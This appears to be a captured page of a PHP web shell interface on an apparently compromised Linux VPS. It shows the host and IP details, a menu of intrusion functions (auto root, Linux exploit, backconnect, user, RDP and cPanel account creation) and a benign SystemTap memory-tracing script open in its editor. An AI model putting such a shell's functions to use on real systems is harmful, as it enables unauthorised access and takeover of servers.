Linux vps-4302913.novaexata.com.br 3.10.0-1160.139.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Nov 3 13:30:41 UTC 2025 x86_64
Apache
: 162.214.88.42 | : 216.73.216.14
166 Domain
7.3.33
wwnova
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
examples /
memory /
[ HOME SHELL ]
Name
Size
Permission
Action
glibc-malloc.meta
381
B
-rw-r--r--
glibc-malloc.stp
2.43
KB
-rw-r--r--
hugepage_clear_delays.meta
946
B
-rw-r--r--
hugepage_clear_delays.stp
483
B
-rwxr-xr-x
hugepage_collapse.meta
718
B
-rw-r--r--
hugepage_collapse.stp
159
B
-rwxr-xr-x
hugepage_cow_delays.meta
1.08
KB
-rw-r--r--
hugepage_cow_delays.stp
475
B
-rwxr-xr-x
hugepage_split.meta
756
B
-rw-r--r--
hugepage_split.stp
153
B
-rwxr-xr-x
hw_watch_addr.meta
787
B
-rw-r--r--
hw_watch_addr.stp
167
B
-rwxr-xr-x
hw_watch_addr.tcl
97
B
-rw-r--r--
hw_watch_sym.meta
715
B
-rw-r--r--
hw_watch_sym.stp
167
B
-rwxr-xr-x
hw_watch_sym.tcl
97
B
-rw-r--r--
kmalloc-top
3.8
KB
-rwxr-xr-x
kmalloc-top.meta
695
B
-rw-r--r--
last_100_frees.meta
420
B
-rw-r--r--
last_100_frees.stp
803
B
-rwxr-xr-x
last_100_frees.tcl
79
B
-rw-r--r--
last_100_frees.txt
774
B
-rw-r--r--
mmanonpage.meta
1.2
KB
-rw-r--r--
mmanonpage.stp
1.77
KB
-rwxr-xr-x
mmfilepage.meta
929
B
-rw-r--r--
mmfilepage.stp
3.47
KB
-rwxr-xr-x
mmreclaim.meta
606
B
-rw-r--r--
mmreclaim.stp
5.11
KB
-rwxr-xr-x
mmwriteback.meta
1008
B
-rw-r--r--
mmwriteback.stp
1.92
KB
-rwxr-xr-x
numa_faults.meta
702
B
-rw-r--r--
numa_faults.stp
973
B
-rwxr-xr-x
numa_faults.txt
1.67
KB
-rw-r--r--
overcommit.meta
484
B
-rw-r--r--
overcommit.stp
217
B
-rwxr-xr-x
pfaults.meta
744
B
-rw-r--r--
pfaults.stp
875
B
-rwxr-xr-x
pfaults.txt
558
B
-rw-r--r--
vm.tracepoints.meta
608
B
-rw-r--r--
vm.tracepoints.stp
414
B
-rwxr-xr-x
vm.tracepoints.txt
557
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mmfilepage.stp
#!/usr/bin/stap # # Note that there are 2 sets of filemap kernel tracepoints: # # - older kernels RHEL5 (2.6.18) - RHEL6 (2.6.32): mm_filemap_fault, # mm_filemap_cow, mm_filemap_unmap mm_filemap_userunmap # - newer kernels: mm_filemap_add_to_page_cache, # mm_filemap_delete_from_page_cache # # This script attempts to handle them both. global traced_pid, command global allocation, free global old_set_hits global file_fault, file_cow, file_uunmap, file_kunmap global file_page_cache_add, file_page_cache_delete function log_event:long () { return (!traced_pid || traced_pid == pid()) } probe kernel.{trace("mm_page_alloc")!, trace("mm_page_allocation")} { if (!log_event()) next allocation[pid()] <<< 1 command[pid()] = execname() } probe kernel.{trace("mm_page_free")!, trace("mm_page_free_direct")} { if (!log_event()) next free[pid()] <<< 1 } probe kernel.trace("mm_filemap_fault")? { if (!log_event()) next old_set_hits <<< 1 file_fault[pid()] <<< 1 } probe kernel.trace("mm_filemap_cow")? { if (!log_event()) next old_set_hits <<< 1 file_cow[pid()] <<< 1 } probe kernel.trace("mm_filemap_unmap")? { if (!log_event()) next old_set_hits <<< 1 file_kunmap[pid()] <<< 1 } probe kernel.trace("mm_filemap_userunmap")? { if (!log_event()) next old_set_hits <<< 1 file_uunmap[pid()] <<< 1 } probe kernel.trace("mm_filemap_add_to_page_cache")? { if (!log_event()) next file_page_cache_add[pid()] <<< 1 } probe kernel.trace("mm_filemap_delete_from_page_cache")? { if (!log_event()) next file_page_cache_delete[pid()] <<< 1 } probe never { # Do a few initializations to let stap know what the global # variable types are. Note that since we're in a "never" # probe, these initializations will never actually happen. traced_pid = 0 old_set_hits <<< 1 file_fault[0] <<< 1 file_cow[0] <<< 1 file_uunmap[0] <<< 1 file_kunmap[0] <<< 1 file_page_cache_add[0] <<< 1 file_page_cache_delete[0] <<< 1 } probe begin { printf("Starting data collection\n") if (target()) printf("mode Specific Pid, traced pid: %d\n\n", target()) else printf("mode - All Pids\n\n") } probe end { printf("Terminating data collection\n") # We'll either have hits from the old set of filemap tracepoints # (mm_filemap_fault, mm_filemap_cow, mm_filemap_unmap, # mm_filemap_userunmap) or the new set of filemap tracepoints # (mm_filemap_add_to_page_cache, # mm_filemap_delete_from_page_cache). Print out the set that got # hits. if (@count(old_set_hits)) { printf("%-16s %6s %9s %9s %8s %8s %8s %8s\n", "Command", "Pid", "Alloc", "Free", "F_fault", "F_cow", "F_kunmap", "F_uunmap") printf("%-16s %6s %9s %9s %8s %8s %8s %8s\n", "-------", "---", "-----", "----", "-------", "-----", "--------", "--------") } else { printf("%-16s %6s %9s %9s %8s %8s\n", "Command", "Pid", "Alloc", "Free", "CacheAdd", "CacheDel") printf("%-16s %6s %9s %9s %8s %8s\n", "-------", "---", "-----", "----", "--------", "--------") } foreach (pid in allocation-) { if (@count(old_set_hits)) printf("%-16s %6d %9d %9d %8d %8d %8d %8d\n", command[pid], pid, @count(allocation[pid]), @count(free[pid]), @count(file_fault[pid]), @count(file_cow[pid]), @count(file_kunmap[pid]), @count(file_uunmap[pid])) else printf("%-16s %6d %9d %9d %8d %8d\n", command[pid], pid, @count(allocation[pid]), @count(free[pid]), @count(file_page_cache_add[pid]), @count(file_page_cache_delete[pid])) } }
Close